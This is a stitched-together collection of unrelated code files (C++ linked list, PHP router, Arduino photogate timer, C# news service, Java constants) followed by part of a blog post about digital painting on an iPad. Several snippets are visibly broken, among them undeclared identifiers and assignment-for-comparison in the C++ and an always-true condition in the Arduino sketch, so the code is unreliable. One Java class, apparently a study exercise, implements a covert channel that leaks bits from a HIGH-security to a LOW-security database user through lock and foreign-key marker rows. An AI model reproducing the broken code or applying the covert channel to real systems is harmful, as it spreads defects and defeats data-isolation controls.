struct nodo { int elem; nodo *sig; }; typedef nodo *lista; int last(lista lst) { lista loc = lst; while (loc->sig != NULL) loc = loc->sig; return loc->elem; }; float average(lista lst) { lista loc = lst; int suma = 0; int cont = 0; while (loc != NULL) { suma += loc->elem; loc = loc->sig; cont++; } return suma / cont; }; void insert(int x, lista &lst) { lista loc = lst; while (loc->sig != NULL && loc->sig->elem < x) { loc = loc->sig; } lista loc1 = new nodo; loc1->elem = x; loc1->sig = loc->sig; loc->sig = loc1; } void snoc(int x, lista &lst) { lista loc = lst; while (loc->sig != NULL) loc = loc->sig; localizador loc1 = new nodo; loc->sig = loc1; loc1->elem = x; loc1->sig = NULL; } void remove(int x, lista) { lista loc = lst; lista loc1; while (loc->sig != NULL) { if (loc->sig->elem = x) { loc1 = loc->sig; loc->sig = loc->sig->sig; delete loc1; } loc = loc->sig; } if (lst->elem == x) { loc1 = lst; lst = lst->sig; delete loc1; } } // 1, 2, 3, 3, 4 -> p // 3, 4 -> l // 1, 3, 1, 2, 4 -> p // 1, 2 -> l bool isIncluded1(lista l, lista p) { if (l == NULL) return true; if (l != NULL && p == NULL) return false; bool flag = false; lista locL, locPf = p, locPm; while (locPf->sig != NULL && !flag) { locL = l; locPm = locPf;/* p */ while (!flag && locPm->elem == locL->elem) { if (locL->sig == NULL) flag = true; locL = locL->sig; locPm = locPm->sig; }; locPf = locPf->sig; }; return flag; } bool isIncluded2(lista l, lista p) { if (l == NULL) return true; if (l != NULL && p == nu) return false; lista locP = p; while(locP != null){ locL = l; if(locP == locL){ lista locP2 = locP; while(locP2->sig == locL->sig){ locP2 = locP2->sig; locL = locL->sig; } if(locL->sig == null) return true; else locP = locP->sig; } } }
PHP
UTF-8
9,249
2.609375
3
[]
no_license
<?php /** * */ namespace core; use core\config\config; class Managment extends config { const NO_FOUND_PAGE = 404; private $modulos = array(); private $url_uri = array(); private $uri_login = ""; // login general private $uri_main = ""; // posible uso cuando tenga una web q administrar private $module_public = ""; private $enable_error = false; private $module_start = ""; private $disableValidateSession = false; private $log_error = array(); function __construct() { session_start(); date_default_timezone_set('America/Lima'); $this->url_uri = $this->getCurrentUri(); $this->setGlobalVariable(["DIR_MODULOS_BASE"=>dirname(__DIR__)."/modulos"]); $this->exportGlobals(); } public function setNameFunctionLogin($uri) { if($this->module_public){ $this->uri_login = $uri; }else{ $this->setLogError("Modulo publico no definido"); return false; } } public function setNameFunctionMain($uri) { if($this->module_public){ $this->uri_main = $uri; }else{ $this->setLogError("Modulo publico no definido"); return false; } } public function setModulePublic($module) { if($this->searchModule($module)){ $this->module_public = $module; }else{ $this->setLogError("No se pudo añadir ".$module." como modulo público"); return false; } } public function setModule($module) { if(!$this->searchModule($module)) { $this->modulos[strtolower($module)] = $module; } return true; } public function deleteModule($module) { if($this->searchModule($module)){ unset($this->modulos[$this->searchModule($module)]); } return true; } public function setModuleStart($module) { if($this->searchModule($module)){ $this->module_start = $module; return true; }else{ $this->setLogError("No se encontro el modulo: ".$module); return false; } } public function searchModule($module,$index=0) { if($module){ return array_search($module, $this->modulos); }else{ $this->setLogError("Modulo ".$module." no encontrado o no estas autorizado"); return false; } } private function getCurrentUri() { $uri = urldecode($_SERVER['REQUEST_URI']); $split = explode('?',$uri); $uri = $split[0]; if (substr($uri,0,1) =='/') { $uri = substr($uri,1); } $prmuri = explode('/',$uri); // limpiar valores vacios // resetar indices del array $prmuri = array_filter($prmuri, "strlen"); $prmuri = array_values($prmuri); return $prmuri; } public function disableValidateSession() { $this->disableValidateSession = true; } private function isLoged() { if(isset($_SESSION[SESSION_NAME_USER])) { return true; }else{ $this->setLogError("Usuario no logueado"); return false; } } public function getUriAll() { return $this->url_uri; } public function getPrm($index) { if(count($this->url_uri)>(N_PATH+$index)){ if($this->url_uri[(N_PATH+$index)]){ return $this->url_uri[(N_PATH+$index)]; }else{ return ''; } }else{ return ''; } } // private function getPathModuleController($module,$controller = "",$call_default_controller = false) // { // if($controller){ // $name_controller = $controller; // }else{ // if($call_default_controller){ // $name_controller = $module."_controller"; // $path = DIR_MODULOS_BASE.DS.strtolower($module).DS."Controller".DS.strtolower($name_controller).".php"; // return array('path'=>$path,"name_controller"=>$name_controller); // } // $name_controller = "index"; // $path = DIR_MODULOS_BASE.DS.strtolower($module).DS.strtolower($name_controller).".php"; // } // if(!isset($path)){ // $path = DIR_MODULOS_BASE.DS.strtolower($module).DS."Controller".DS.strtolower($name_controller).".php"; // } // return $path; // } // llama a una funcion dentro del modulo publico // private function redirectPublic($uri,$validajax = false) // { // if(!$this->module_public){ // $this->setLogError("No hay modulo publico cargado, use setModulePublic($module)"); // return false; // } // if($uri == $this->uri_login){ // ob_start(); // } // // $name_controller = $this->module_public."_controller"; // // $path_controller = DIR_MODULOS_BASE.DS.strtolower($this->module_public).DS."Controller".DS.strtolower($name_controller).".php"; // $path_controller = $this->getPathModuleController($this->module_public,"",true); // if($this->requiereFile($path_controller['path'])) // { // // $controller = new $name_controller(); // $controller = new $path_controller['name_controller']; // $controller->$uri(); // if($uri == $this->uri_login && $this->isAjaxRequest()){ // $html = ob_get_clean(); // sendJsonData(array('status'=>STATUS_OK,'html'=>$html)); // } // } // exit(); // } public function redirect($module) { if($this->searchModule($module)){ header("Location:/".NAME_PROYECT."/".$module); exit(); }else{ $this->setLogError("No se pudo cargar el modulo: ".$module); return false; } } private function isAjaxRequest() { if(!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') { return true; }else{ return false; } } public function setLogError($text) { if($this->enable_error){ $this->log_error[] = $text; } return true; } public function getLogError() { return $this->log_error; } // private function requiereFile($path) // { // // $a = str_replace("/", "\\", $path); // // var_dump($a); // if(file_exists($path)) // { // require_once($path); // return true; // }else{ // $this->setLogError("No existe el fichero: ".$path); // return false; // } // } // function aun no funcional protected function errorHandler($errno, $errstr, $errfile, $errline) { $hoy = new DateTime(); switch ($errno) { case E_WARNING: echo "E_WARNING : ".$errstr." in ".$errfile."\n line: ".$errline."\t".$hoy->format("Y-m-d H:i:s").PHP_EOL; exit(); break; case E_NOTICE: echo "E_WARNING : ".$errstr." in ".$errfile."\n line: ".$errline."\t".$hoy->format("Y-m-d H:i:s").PHP_EOL; exit(); break; default: echo "ERROR : ".$errstr." in ".$errfile."\n line: ".$errline."\t".$hoy->format("Y-m-d H:i:s").PHP_EOL; exit(); break; } } public function enableErrorHandler() { ini_set("display_errors", "on"); error_reporting( E_ALL ); // $var = set_error_handler(array($this,'errorHandler')); // $this->error = new TestErrorHandler; // $var = set_error_handler(array($this,'errorHandler')); // $var = set_error_handler(array($this,'errorHandler')); // var_dump($var); // $error = new Error(); $this->enable_error = true; } public function disableErrorHandler() { ini_set("display_errors", "off"); $this->enable_error = false; } public function showPageError($id_error) { switch ($id_error) { case self::NO_FOUND_PAGE: // $this->requiereFile(DIR_MODULOS_BASE.DS."util".DS."error.php"); $this->startController("\\core\\error\\error404\\error404","show"); break; default: break; } } public function getNamespace($url_module,$name_controller,$function) { if(empty($url_module)){ $url_module = $this->module_public; } if(empty($name_controller)){ $name_controller = $url_module."_controller"; } if(empty($function)){ $function = "index"; } $n["namespace"] = "modulos\\".$url_module."\\"."Controller"."\\".$name_controller; $n["function"] = $function; return $n; } private function startController($controller = '',$function = '') { if(empty($controller) || empty($function)){ $this->setLogError("Controller/function no definido"); return false; } $view = new View(); $GLOBALS["view"] = $view; $controller = new $controller; if(method_exists($controller,$function)){ $controller->$function(); } exit(); } public function start() { // $this->setGlobalVariable(["DIR_MODULOS_BASE"=>dirname(__DIR__)."/modulos"]); $url_module = $this->getPrm(1); $name_controller = $this->getPrm(2); $function = $this->getPrm(3); if(count($this->url_uri) == 1){ // cuando a la ruta del proyecto $this->redirect($this->module_start); } if($url_module != $this->module_public){ $n = $this->getNamespace($this->module_public,$this->module_public."_controller",$this->uri_login); if(!$this->disableValidateSession){ if(!$this->isLoged()){ $this->startController($n["namespace"],$n["function"]); } } } if($this->searchModule($url_module)){ $n = $this->getNamespace($url_module,$name_controller,$function); $this->startController($n["namespace"],$n["function"]); } $this->showPageError(self::NO_FOUND_PAGE); } } ?>
Java
UTF-8
424
1.5
2
[]
no_license
package com.vrush.microservices.consumer.utils; public class Template { public static final String HOME = "home"; public static final String REDIRECT_HOME = "redirect:/"; public static final String ROOMS = "rooms"; public static final String REDIRECT_ROOMS = "redirect:/rooms"; public static final String BOOKING = "booking"; public static final String REDIRECT_BOOKING = "redirect:/booking"; }
C++
UTF-8
9,171
2.84375
3
[]
no_license
//Arduino sketch for photogate. Signal IN -> PIN 8. 16 Sep. 2015, Revised 24 March 2017 //A timer which is triggered by raising a digital input to HIGH (8 default). //Data prited to serial is deliminated by "_" and "~". #define ledPin 13 // LED connected to digital pin 13 #define gatePin 8 // Photogate connected to digital pin 8 int countMode1 = 0; int countMode2 = 0; int count_reset; int userMode; // 1 for gap timer, 2 for event timer, 3 for event counter, 0 to clear choice for invalid userIn int countMode3 = 0; // variable for storing event count integer int value = LOW; // previous value of the LED int gateState_current; // variable to store current gate state int gateState_last; // variable to store last gate state int blinking; // condition for blinking - timer is timing long interval = 100; // blink interval - change to suit long previousMillis = 0; // variable to store last time LED was updated unsigned long startTime, elapsedTime, eventTime, cumulativeTime, cumulativeTimeNext, fractional; // start time for stop watch // variable used to store fractional part of time // its the same counter void setup() { Serial.begin(9600); pinMode(13, OUTPUT); pinMode(8, INPUT); userMode = 2; //USER OPTIONS MENU //Serial.println("\n\n ---------------\n Select Mode:\n[1] - Gap Timer\n[2] - Event Timer\n[3] - Event Counter \n --------------"); } void loop() { // ----------- USER CONTROL MODES --------------- if (Serial.available()) { char modeSelect = Serial.read(); if (modeSelect == '1'){ // Gap timer userMode = 1; //Serial.println("\n\nGap Timer Ready\n"); } else if (modeSelect == '2'){ // Event timer userMode = 2; //Serial.println("\n\nEvent Timer Ready\n"); } else if (modeSelect == '3'){ userMode = 3; //Serial.println("\n\nEvent Counter Ready - Press 'r' to reset"); } else if (modeSelect == 'r' || 'R'){ countMode3 = 0, countMode2 = 0, countMode1 = 0; Serial.flush(); //Serial.println("\nCounter Reset\n"); } else{ userMode = 0; //Serial.println("\n\nEnter a valid input\n\n--------------\nSelect Mode:\n[1] - Gap Timer\n[2] - Event Timer\n[3] - Event Counter\n--------------"); Serial.flush(); } } gateState_current = digitalRead(gatePin); // reads the gate state and stores // ------------- MODE 1 - GAP TIMER ---------------------------- if (userMode == 1){ countMode3 = 0; // reset count from mode 3,2 countMode2 = 0; if (gateState_current == LOW && gateState_last == HIGH && blinking == false){ // check for a low to high transistion, if true then found a new button press while clock is not running - start the clock startTime = micros(); // store the start time blinking = true; // turn on blinking while timing gateState_last = gateState_current; // store buttonState in lastButtonState, to compare next time } else if (gateState_current == LOW && gateState_last == HIGH && blinking == true){ // check for a high to low transition. if true then found a new button press while clock is running - stop the clock and report elapsedTime = micros() - startTime; // store elapsed time blinking = false; // turn off blinking, all done timing gateState_last = gateState_current; // store buttonState in lastButtonState, to compare next time countMode1++; Serial.print(countMode1); // print count Serial.print("_"); // routine to report elapsed time Serial.print((int)(elapsedTime / 1000000L)); // divide by 1000 to convert to seconds - then cast to an int to print Serial.print("."); // print decimal point fractional = (int)(elapsedTime % 1000000L); // use modulo operator to get fractional part of time // pad in leading zeros //if (fractional == 0) // Serial.print("000"); // add three zero's //else if (fractional < 10) // if fractional < 10 the 0 is ignored giving a wrong time, so add the zeros // Serial.print("00"); // add two zeros // else if (fractional < 100) // Serial.print("0"); // add one zero Serial.print(fractional); // print fractional part of time Serial.print("~"); } else{ gateState_last = gateState_current; // store buttonState in lastButtonState, to compare next time } } // --------------------- MODE 2 - EVENT TIMER ------------------------- else if (userMode == 2){ countMode3 = 0; // reset count var for future use if (gateState_current == HIGH && gateState_last == LOW){ // check for a low to high transistion, if true then found a new button press while clock is not running - start the clock startTime = micros(); // store the start time cumulativeTime = micros(); countMode2++; //Serial.print(count); // Serial.print("\t"); blinking = true; // turn on blinking while timing gateState_last = gateState_current; // store buttonState in lastButtonState, to compare next time } else if (gateState_current == LOW && gateState_last == HIGH){ // check for a high to low transition. if true then found a new button press while clock is running - stop the clock and report eventTime = micros() - startTime; // store elapsed time blinking = false; // turn off blinking, all done timing gateState_last = gateState_current; // store buttonState in lastButtonState, to compare next time // routine to report elapsed time Serial.print(countMode2); // print count Serial.print("_"); // Serial.print(cumulativeTime / 1000000L); // Serial.print("."); // Serial.print(cumulativeTime % 1000000); // Serial.print("\t"); Serial.print(eventTime / 1000000L); // divide by 1000 to convert to seconds - then cast to an int to print Serial.print("."); // print decimal point Serial.print(eventTime % 1000000L); Serial.print("~"); } else{ gateState_last = gateState_current; // store buttonState in lastButtonState, to compare next time } } // ----------------------- MODE 3 - EVENT COUNTER ----------------------------------- else if (userMode == 3){ countMode2 = 0; // reset count variabe from last session if (gateState_current == HIGH && gateState_last == LOW){ // detect new gate obstruction countMode3++; Serial.print(countMode3); Serial.print("_"); Serial.print(micros() / 1000000L); // divide by 1000 to convert to seconds - then cast to an int to print Serial.print("."); // print decimal point Serial.print(micros() % 1000000L); Serial.print("~"); gateState_last = gateState_current; } else if (gateState_current == LOW && gateState_last == HIGH){ // check for a high to low transition. if true then found a new button press while clock is running - stop the clock and report //blinking = false; // turn off blinking, all done timing gateState_last = gateState_current; } } // blink routine - blink the LED while timing // check to see if it's time to blink the LED; that is, the difference // between the current time and last time we blinked the LED is larger than // the interval at which we want to blink the LED. if ((millis() - previousMillis > interval)) { if (blinking == true){ previousMillis = millis(); // remember the last time we blinked the LED if the LED is off turn it on and vice-versa. if (value == LOW) value = HIGH; else value = LOW; digitalWrite(ledPin, value); } else{ digitalWrite(ledPin, LOW); // turn off LED when not blinking } } }
C#
UTF-8
8,393
2.578125
3
[]
no_license
using System; using System.Collections.Generic; using System.Linq; using TechnicalRadiation.Models.Dtos; using TechnicalRadiation.Models.Entities; using TechnicalRadiation.Models.Exceptions; using TechnicalRadiation.Models.Extensions; using TechnicalRadiation.Models.InputModels; using TechnicalRadiation.Repositories; namespace TechnicalRadiation.Services { public class TechnicalRadiationService { private TecnicalRadiationRepository _technicalRadiationRepository = new TecnicalRadiationRepository(); public IEnumerable<NewsItemDto> GetAllNews() { var news = _technicalRadiationRepository.GetAllNews().ToList(); news.ForEach(n => { n.Links.AddReference("self", $"/api/{n.Id}"); n.Links.AddReference("edit", $"/api/{n.Id}"); n.Links.AddReference("delete", $"/api/{n.Id}"); n.Links.AddListReference("authors", _technicalRadiationRepository.GetAuthorAfterNewsItemId(n.Id).Select(o => new { href = $"/api/authors/{o.Id}"})); n.Links.AddListReference("categories", _technicalRadiationRepository.GetCategorieAfterNewsItemId(n.Id).Select(o => new { href = $"/api/categories/{o.Id}" })); }); return news; } public NewsItemDetailDto GetNewsById(int id) { if (id < 1) { throw new ArgumentOutOfRangeException("Id should not be lower than 1"); } if (!_technicalRadiationRepository.DoesExist(id)) { throw new ResourceNotFoundException($"News item with id {id} was not found."); } var news = _technicalRadiationRepository.GetNewsById(id); { news.Links.AddReference("self", $"/api/{news.Id}"); news.Links.AddReference("edit", $"/api/{news.Id}"); news.Links.AddReference("delete", $"/api/{news.Id}"); news.Links.AddListReference("authors", _technicalRadiationRepository.GetAuthorAfterNewsItemId(news.Id).Select(o => new { href = $"/api/authors/{o.Id}" })); news.Links.AddListReference("categories", _technicalRadiationRepository.GetCategorieAfterNewsItemId(news.Id).Select(o => new { href = $"/api/categories/{o.Id}" })); }; return news; } public NewsItemDetailDto CreateNewNews(NewsItemInputModel news) { return _technicalRadiationRepository.CreateNewNews(news); } public void UpdateNewsItemsById(NewsItemInputModel news, int id) { _technicalRadiationRepository.UpdateNewsItemsById(news, id); } public void DeleteNewsById(int id) { if (id < 1) { throw new ArgumentOutOfRangeException("Id should not be lower than 1"); } if (!_technicalRadiationRepository.DoesExist(id)) { throw new ResourceNotFoundException($"News item with id {id} was not found."); } _technicalRadiationRepository.DeleteNewsById(id); } public IEnumerable<CategoryDto> GetAllCategories() { var categories = _technicalRadiationRepository.GetAllCategories().ToList(); categories.ForEach(c => { c.Links.AddReference("self", $"/api/categories/{c.Id}"); c.Links.AddReference("edit", $"/api/categories/{c.Id}"); c.Links.AddReference("delete", $"/api/categories/{c.Id}"); }); return categories; } public CategoryDetailDto GetCategoryById(int id) { if (id < 1) { throw new ArgumentOutOfRangeException("Id should not be lower than 1"); } if (!_technicalRadiationRepository.DoesExist(id)) { throw new ResourceNotFoundException($"Category with id {id} was not found."); } var categories = _technicalRadiationRepository.GetCategoryById(id); { categories.Links.AddReference("self", $"/api/categories/{categories.Id}"); categories.Links.AddReference("edit", $"/api/categories/{categories.Id}"); categories.Links.AddReference("delete", $"/api/categories/{categories.Id}"); }; return categories; } public IEnumerable<AuthorDto> GetAllAuthors() { var authors = _technicalRadiationRepository.GetAllAuthors().ToList(); authors.ForEach(a => { a.Links.AddReference("self", $"/api/authors/{a.Id}"); a.Links.AddReference("edit", $"/api/authors/{a.Id}"); a.Links.AddReference("delete", $"/api/authors/{a.Id}"); a.Links.AddListReference("newsItems", _technicalRadiationRepository.GetAllNewsByAuthorId(a.Id).Select(o => new { href = $"/api/authors/{o.Id}/newsItems" })); a.Links.AddListReference("NnewsItemsDetailed", _technicalRadiationRepository.GetCategorieAfterNewsItemId(a.Id).Select(o => new { href = $"/api/{o.Id}" })); }); return authors; } public AuthorDetailDto GetAuthorById(int id) { if (id < 1) { throw new ArgumentOutOfRangeException("Id should not be lower than 1"); } if (!_technicalRadiationRepository.DoesExist(id)) { throw new ResourceNotFoundException($"Author with id {id} was not found."); } var author = _technicalRadiationRepository.GetAuthorById(id); { author.Links.AddReference("self", $"/api/authors/{author.Id}"); author.Links.AddReference("edit", $"/api/authors/{author.Id}"); author.Links.AddReference("delete", $"/api/authors/{author.Id}"); author.Links.AddListReference("newsItems", _technicalRadiationRepository.GetAllNewsByAuthorId(author.Id).Select(o => new { href = $"/api/authors/{o.Id}/newsItems" })); author.Links.AddListReference("NnewsItemsDetailed", _technicalRadiationRepository.GetCategorieAfterNewsItemId(author.Id).Select(o => new { href = $"/api/{o.Id}" })); }; return author; } public List<NewsItemDto> GetAllNewsByAuthorId(int id) { return _technicalRadiationRepository.GetAllNewsByAuthorId(id); } public AuthorDetailDto CreateNewAuthor(AuthorInputModel author) { return _technicalRadiationRepository.CreateNewAuthor(author); } public void UpdateAuthorById(AuthorInputModel author, int id) { _technicalRadiationRepository.UpdateAuthorById(author, id); } public void DeleteAuthorById(int id) { if (id < 1) { throw new ArgumentOutOfRangeException("Id should not be lower than 1"); } if (!_technicalRadiationRepository.DoesExist(id)) { throw new ResourceNotFoundException($"Author with id {id} was not found."); } _technicalRadiationRepository.DeleteAuthorById(id); } public CategoryDetailDto CreateNewCategory(CategoryInputModel category) { return _technicalRadiationRepository.CreateNewCategory(category); } public void UpdateCategoryById(CategoryInputModel category, int id) { _technicalRadiationRepository.UpdateCategoryById(category, id); } public void DeleteCategoryById(int id) { if (id < 1) { throw new ArgumentOutOfRangeException("Id should not be lower than 1"); } if (!_technicalRadiationRepository.DoesExist(id)) { throw new ResourceNotFoundException($"Category with id {id} was not found."); } _technicalRadiationRepository.DeleteCategoryById(id); } public void ConnectNewsIdByAuthorId(int authorid, int newsitemid) { _technicalRadiationRepository.ConnectNewsIdByAuthorId(authorid, newsitemid); } public void ConnectNewsIdByCategoryId(int categoryid, int newsitemid) { _technicalRadiationRepository.ConnectNewsIdByCategoryId(categoryid, newsitemid); } public IEnumerable<AuthorDto> GetAuthorAfterNewsItemId(int id) { return _technicalRadiationRepository.GetAuthorAfterNewsItemId(id); } public IEnumerable<CategoryDto> GetCategorieAfterNewsItemId(int id) { return _technicalRadiationRepository.GetCategorieAfterNewsItemId(id); } } }
Java
UTF-8
7,708
2.859375
3
[]
no_license
package yt.study.dameng; import java.sql.SQLException; public class Start { static final String synInsertSql = "insert into HIGH.SYN(COLUMN_1) values(120)"; //锁 //static final String synDeleteSql = "delete from HIGH.SYN where COLUMN_1=110";//释放锁_old static final String updateHighkey = "update HIGH.SYN set COLUMN_1=120 where COLUMN_1=110";//释放锁_new static final String updateHighkey1 = "update HIGH.SYN set COLUMN_1=110 where COLUMN_1=120";//抢占锁 static final String synInsertLowSql = "insert into HIGH.SYN(COLUMN_1) values(100)"; //low插入的标记100 static final String synInsertHighSql = "insert into HIGH.SYN(COLUMN_1) values(200)"; //high插入的标记200 static final String synDeleteLowSql = "delete from HIGH.SYN where COLUMN_1 = 100"; static final String synDeleteHighSql = "delete from HIGH.SYN where COLUMN_1 = 200"; static final String synQueryLowSql = "select * from HIGH.SYN where COLUMN_1 = 100"; static final String synQueryHighSql = "select * from HIGH.SYN where COLUMN_1 = 200"; //static final String createLowTable = "create table LOW.TABLE_LOW(COLUMN_1 int primary key)"; //创建表 static final String insertLowkey = "insert into LOW.TABLE_LOW(COLUMN_1) values(1)"; // static final String dropLowTable = "drop table LOW.TABLE_LOW"; static final String deleteLowkey = "delete from LOW.TABLE_LOW where COLUMN_1=1"; //static final String dropHighTable = "drop table HIGH.TABLE_HIGH"; static final String createForeignKey = "ALTER TABLE HIGH.TABLE_HIGH ADD constraint CONS_HIGH FOREIGN KEY(COLUMN_1) REFERENCES LOW.TABLE_LOW(COLUMN_1)"; static final String dropForeignKey = "ALTER TABLE HIGH.TABLE_HIGH DROP constraint CONS_HIGH"; static final String insertForeignKey = "insert into HIGH.TABLE_HIGH(COLUMN_1,COLUMN_2) values(1,100)"; //插入一行数据表示存在外键 static final String existForeignKey = "select * from HIGH.TABLE_HIGH where COLUMN_1 = 1"; //查看是否有外键存在 static final String deleteForeignKey = "delete from HIGH.TABLE_HIGH where COLUMN_1 = 1"; //删除外键 static int k = 0; public static void main(String[] args) { Low low = new Low() { public void run() { while(true) { try { sleep(1000); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("-------" + currentThread()); if(connectDB.executeUpdate(updateHighkey1, conn, null)) { //抢占锁 //System.out.println("++++++++++++++++++++++++++"); try { if((connectDB.executeUpdate(synInsertLowSql, conn, null)) && (connectDB.executeQuery(synQueryHighSql, conn, null).next())) { //判断表中是否有high的标记,如果有说明high已经做好准备开始发送数据了 boolean flag = connectDB.executeUpdate(deleteLowkey, conn, null); //能否成功删除 System.out.println(flag); if(flag) { System.out.println(k++ + "low用户得到:1"); connectDB.executeUpdate(insertLowkey, conn, null); //数据删了之后还得新建数据 result += 1; }else { System.out.println(k++ + "low用户得到:0"); result += 0; } if((result.length()%8==0) && result.endsWith("00001010")) { //result必须是8位的倍数,如果结尾是00001010两次,就是high那边已经传完了 if(++endCount >= 2) { //如果有两个\n就跳出 System.out.println("low用户得到的二进制串为:"+result); System.out.println(); System.out.println("转码过来就是:"); binString2String(result); //转码 connectDB.executeUpdate(updateHighkey, conn, null); //释放锁 connectDB.closeAll(); //关闭所有连接 return; } } connectDB.executeUpdate(updateHighkey, conn, null); //释放锁 connectDB.executeUpdate(synDeleteHighSql, conn, null); } else { //connectDB.executeUpdate(synDeleteHighSql, conn, null); //如果插入成功,则说明high还开始传数据,这个时候需要把这个标记删掉,不然high就插入不了了 connectDB.executeUpdate(updateHighkey, conn, null); //释放锁 } } catch (SQLException e) { e.printStackTrace(); } } }//while }//run }; High high = new High() { public void run() { while(true) { try { sleep(1000); } catch (InterruptedException e1) { // TODO Auto-generated catch block e1.printStackTrace(); } System.out.println("++++++++" + currentThread()); if(connectDB.executeUpdate(updateHighkey1, conn, null)) { //抢占锁 try { if(connectDB.executeQuery(synQueryLowSql, conn, null).next() && connectDB.executeUpdate(synInsertHighSql, conn, null)) { //判断表中是否有low的标记,如果有说明low已经做好准备开始接受数据了 if(result.equals("")) { //如果最后字符串为空 connectDB.executeUpdate(synDeleteLowSql, conn, null); //删除low的标记 connectDB.executeUpdate(synDeleteHighSql, conn, null); //删除high的标记 connectDB.executeUpdate(updateHighkey, conn, null); //释放锁,返回 connectDB.closeAll(); return; } if(result.charAt(0) == '0') { //要传递的字符是0 System.out.println("high用户传递的字符是:0"); if(connectDB.executeQuery(existForeignKey, conn, null).next()) { //如果外键存在就不需要再创建外键操作 //System.out.println("f exist"); } else { //外键不存在 // connectDB.executeUpdate(createForeignKey, conn, null); //插入外键 connectDB.executeUpdate(insertForeignKey, conn, null); //插入外键的标示 //System.out.println(connectDB.executeUpdate(createForeignKey, conn, null)); //System.out.println("f donot exist"); //System.out.println(connectDB.executeUpdate(insertForeignKey, conn, null)); } } else { //要传递的字符是1 System.out.println("high用户传递的字符是:1"); if(connectDB.executeQuery(existForeignKey, conn, null).next()) { // 如果外键存在需要把外键删除 //connectDB.executeUpdate(dropForeignKey, conn, null); //删除外键操作 connectDB.executeUpdate(deleteForeignKey, conn, null); //删除表中存的外键标识 } } result = result.substring(1); //connectDB.executeUpdate(synInsertHighSql, conn, null); //插入high用户的标记说明我已经传递了一位数据了 connectDB.executeUpdate(synDeleteLowSql, conn, null); //删除low的标记 connectDB.executeUpdate(updateHighkey, conn, null); //释放锁,sleep } else { //connectDB.executeUpdate(synDeleteLowSql, conn, null);//zm connectDB.executeUpdate(updateHighkey, conn, null); //释放锁 } } catch (SQLException e) { e.printStackTrace(); } } } } }; low.start(); high.start(); } }
Markdown
UTF-8
10,490
3.140625
3
[]
no_license
--- layout: page summary: Reflections on recent experience with digital painting and drawing author: AaronHertzmann image: /images/ipad_paintings/fiddleleaf.jpg --- # Learning from Painting, Part 5: Embracing Digital Painting I believe in new artistic technologies. New technology create new kinds of artistic media that each have their own value. Every kind of media was once experimental and vanguard, and privileging what's traditional today just seems arbitrary. Yet, I started out iPad painting with my own snobbery about physical media. Having once spent countless hours in art studios and painting in situ, attempting to master the difficulties of real oil paint and real watercolor, I had a sense that "the real thing" is more valuable than the digital tools. Real paint "counts" more than digital paint. This led me to initially avoid certain features of digital painting, especially layering. But, as I learned to work with the tools better, I came to realize the obvious: **these tools are distinct media from conventional media.** For example, once I buckled and started using layers, I discovered new advantages to using them, and disadvantages. Now I view the choice of layers as one more decision to make early on: different ways to decompose an image into layers can lead to very different paintings. Perhaps what is most interesting is the ways the specific affordances of digital tools change the style of paintings. But it is also worth contemplating what is lost with digital tools. *This is the fifth part of a series of blog posts about my recent experience in digital painting and drawing. [Click here for the first part.](/2020/10/05/art-is-a-process.html)* Some features of digital painting === Here are some of the features of digital painting, and the ways that using these features changes the style of the work. **1. Total control.** The most obvious benefit of digital painting is that you have total control over the pixels. You can wipe oil paint clean with your eraser, which would be impossible in real life. You can cleanly erase charcoal without worrying about the eraser tearing through the paper. No need to mix paints to get a color, just use a color picker. With undo and the ability to duplicate filers and layers, you can explore all sorts of options. The only limitation is how much time you have. Deciding when to stop working on a physical painting was a big problem for me; often I would keep working and realize I was just making it worse, and wish I could undo the last few things I'd added. Now I easily can. With physical media, one practices hard to get the composition to fit the shape of the paper or canvas. Objects going off the edge of the page? No problem, just make the canvas bigger! Here's a "happy little accident" that came from extending the canvas: <center> <figure> <img src="../../../images/ipad_paintings/fiddleleaf.jpg" alt="Fiddle leaf painting"> <figcaption align="center"><I> <a href="https://www.instagram.com/p/B7lkjXip-g5/">Timelapse here</a> </I></figcaption> </figure> </center> <br> After extending the canvas and the plant, I liked the way the plant extended off the background, and chose not to extend the background. <BR> **2. Layers.** The ability to separate scenes into semitransparent overlapping layers feels transformative. You can draw a tree, then draw the scene behind the tree, then edit the tree some more, then draw some more scenery behind the tree, in ways that would be extraordinarily difficult with real media. Here's an example using layering both for overlap and for transparency: <center> <figure> <img src="../../../images/ipad_paintings/glassdoor.jpg" alt="Glass door painting"> <figcaption align="center"><I> <a href="https://www.instagram.com/p/B9wxiwfpl7S/">Timelapse here</a> </I></figcaption> </figure> </center> The reflections on the window are separate layers, as are the rainwater reflections on the patio; they would have been very very difficult without layers. Moreover, note how there are sharp edges between the window bar, whereas other object boundaries within a single layer are usually softer. The doormat is also on a separate layer from the floor underneath it (and apparently I didn't think to add a shadow to keep it from floating). Layering changes the visual style because, with natural media, it would be hard to keep the boundaries so crisp. It also saves an enormous amount of time, which [itself plays a big role in style](/2020/10/26/time-and-speed.html). Here's a more subtle example where I used separate layers for the windows on the building: <center> <figure> <img src="../../../images/ipad_paintings/stata.jpg" alt="Stata painting"> <figcaption align="center"><I> <a href="https://www.instagram.com/p/B5QI2LsJzF9/">Timelapse here</a> </I></figcaption> </figure> </center> <br> which made it easier to adjust the shading on the building even after the windows were drawn, but, as a result, they have crisper edges against the building. It is possible to soften these edges with more time and effort. Two more examples of using layering for reflections and transparency: <center> <figure> <img src="../../../images/ipad_paintings/cups.jpg" alt="Cups painting"> </figure> </center> <center> <figure> <img src="../../../images/ipad_paintings/verve_pix.jpg" alt="Verve pictures painting"> <figcaption align="center"><I> <a href="https://www.instagram.com/p/B7oRDebJFyg/">Timelapse here</a> </I></figcaption> </figure> </center> These would have been *very* difficult without layering. <BR> **3. Paint almost anywhere.** Being able to paint almost anywhere is really liberating; I started carrying my iPad almost everywhere, often stopping to sketch or draw when something caught my eye. In constrast, buying and carrying around a big set of oil paints, canvases, and brushes is not simple. You get paint on your clothes and surroundings, and it doesn't come off easily. Like photographers say, "the best camera is the one you have with you." It is essentially impossible to paint with oil paints while looking out the window of an airplane or while sitting at a bar, waiting for friends to arrive. <BR> **4. Flexibility with media.** Likewise, the iPad makes it easy to choose a different media for each drawing. I can decide in the spur of the moment. Maybe a pencil drawing warmup, then an oil, then a quick pastel illustration. Sometimes I accidentally select the wrong one, and am surprised how much I like the media I didn't intend. Imagine meaning to paint with oils in real life, and accidentally using charcoal instead. Even better, I can mix media on the canvas. For a long time, I stuck to one medium for each drawing. Then it just came naturally, when I found myself 